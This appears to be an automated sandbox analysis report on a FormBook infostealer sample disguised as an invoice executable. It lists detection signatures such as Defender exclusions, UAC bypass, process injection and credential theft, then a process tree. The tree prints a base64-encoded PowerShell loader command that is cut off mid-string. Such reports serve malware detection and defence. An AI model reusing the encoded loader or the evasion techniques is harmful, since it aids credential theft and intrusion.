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Windows
Analysis Report
Factura (3).exe
Overview
General Information
Detection
FormBook
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected AntiVM3
Yara detected FormBook
Yara detected UAC Bypass using CMSTP
Adds a directory exclusion to Windows Defender
Disables UAC (registry)
Encrypted powershell cmdline option found
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Execution of Powershell with Base64
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- Factura (3).exe (PID: 7400 cmdline:
"C:\Users\ user\Deskt op\Factura (3).exe" MD5: 367F6A9B9B00F860281FE3865A0D33F0) - conhost.exe (PID: 7408 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7492 cmdline:
powershell .exe -Enco dedCommand WwBTAHkAc wB0AGUAbQA uAFQAaAByA GUAYQBkAGk AbgBnAC4AV ABoAHIAZQB hAGQAXQA6A DoAUwBsAGU AZQBwACgAN QAwADAAMAA pAAoACgAkA BIEQAQ1BDw ENQQ9BD0EM ARPBB8EMAQ /BDoEMAQgA D0AIABbAFM AeQBzAHQAZ QBtAC4ASQB PAC4AUABhA HQAaABdADo AOgBHAGUAd ABUAGUAbQB wAFAAYQB0A GgAKAApAAo AJAAoBDAEM QQ7BD4EPQQ gAD0AIAAnA GYAaQBsAGU ALQAqAC4Ac AB1AHQAaQB rACcACgAkA B8EPgRBBDs ENQQ0BD0EO AQ5BCQEMAQ 5BDsEIAA9A CAARwBlAHQ ALQBDAGgAa QBsAGQASQB 0AGUAbQAgA C0AUABhAHQ AaAAgACQAE gRABDUEPAQ 1BD0EPQQwB E8EHwQwBD8 EOgQwBCAAL QBGAGkAbAB 0AGUAcgAgA CQAKAQwBDE EOwQ+BD0EI AB8ACAAUwB vAHIAdAAtA E8AYgBqAGU AYwB0ACAAT ABhAHMAdAB XAHIAaQB0A GUAVABpAG0 AZQAgAC0AR ABlAHMAYwB lAG4AZABpA G4AZwAgAHw AIABTAGUAb ABlAGMAdAA tAE8AYgBqA GUAYwB0ACA ALQBGAGkAc gBzAHQAIAA xAAoACgBmA HUAbgBjAHQ AaQBvAG4AI AAgBDAEQQR IBDgERARAB D4EMgQwBEI ETAQgAHsAC gAgACAAIAA gAHAAYQByA GEAbQAgACg ACgAgACAAI AAgACAAIAA gACAAWwBiA HkAdABlAFs AXQBdACQAG gQ7BE4ERwQ sAAoAIAAgA CAAIAAgACA AIAAgAFsAY gB5AHQAZQB bAF0AXQAkA BgEPQQ4BEY EOAQwBDsEO AQ3BDgEQAR DBE4ESQQ4B DkEEgQ1BDo EQgQ+BEAEL AAKACAAIAA gACAAIAAgA CAAIABbAGI AeQB0AGUAW wBdAF0AJAA UBDAEPQQ9B EsENQQKACA AIAAgACAAK QAKAAoAIAA gACAAIAAkA CgEOAREBEA EMARCBD4EQ AQgAD0AIAB bAFMAeQBzA HQAZQBtAC4 AUwBlAGMAd QByAGkAdAB 5AC4AQwByA HkAcAB0AG8 AZwByAGEAc ABoAHkALgB BAGUAcwBdA DoAOgBDAHI AZQBhAHQAZ QAoACkACgA gACAAIAAgA CQAKAQ4BEQ EQAQwBEIEP gRABC4ATQB vAGQAZQAgA D0AIABbAFM AeQBzAHQAZ QBtAC4AUwB lAGMAdQByA GkAdAB5AC4 AQwByAHkAc AB0AG8AZwB yAGEAcABoA HkALgBDAGk AcABoAGUAc gBNAG8AZAB lAF0AOgA6A EMAQgBDAAo AIAAgACAAI AAkACgEOAR EBEAEMARCB D4EQAQuAFA AYQBkAGQAa QBuAGcAIAA 9ACAAWwBTA HkAcwB0AGU AbQAuAFMAZ QBjAHUAcgB pAHQAeQAuA EMAcgB5AHA AdABvAGcAc gBhAHAAaAB 5AC4AUABhA GQAZABpAG4 AZwBNAG8AZ ABlAF0AOgA 6AFAASwBDA FMANwAKAAo AIAAgACAAI AAkACAEMAR BBEgEOAREB EAEPgQyBEk EOAQ6BCAAP QAgACQAKAQ 4BEQEQAQwB EIEPgRABC4 AQwByAGUAY QB0AGUARAB lAGMAcgB5A HAAdABvAHI AKAAkABoEO wROBEcELAA gACQAGAQ9B DgERgQ4BDA EOwQ4BDcEO ARABEMETgR JBDgEOQQSB DUEOgRCBD4 EQAQpAAoAI AAgACAAIAA kACAEMARBB EgEOAREBEA EPgQyBDAEP QQ9BEsENQQ UBDAEPQQ9B EsENQQgAD0 AIAAkACAEM ARBBEgEOAR EBEAEPgQyB EkEOAQ6BC4 AVAByAGEAb gBzAGYAbwB yAG0ARgBpA G4AYQBsAEI AbABvAGMAa wAoACQAFAQ wBD0EPQRLB DUELAAgADA ALAAgACQAF AQwBD0EPQR LBDUELgBMA GUAbgBnAHQ AaAApAAoAC QAKACAAIAA gACAAcgBlA HQAdQByAG4 AIAAkACAEM ARBBEgEOAR EBEAEPgQyB DAEPQQ9BEs ENQQUBDAEP QQ9BEsENQQ KAH0ACgAKA CQAGgQ7BE4 ERwQgAD0AI ABbAGIAeQB 0AGUAWwBdA F0AQAAoADA AeAA1ADAAL AAgADAAeAB CADAALAAgA DAAeAA1AEI ALAAgADAAe AAzAEQALAA gADAAeAA3A DEALAAgADA AeAA4ADAAL AAgADAAeAB BADcALAAgA DAAeABEAEM ALAAgADAAe ABBADgALAA gADAAeAA1A EMALAAgADA AeAAyADYAL AAgADAAeAA 5AEEALAAgA DAAeAA3AEI ALAAgADAAe AA5ADIALAA gADAAeABEA EQALAAgADA AeABFADcAL AAgADAAeAA 3ADYALAAgA DAAeABEADA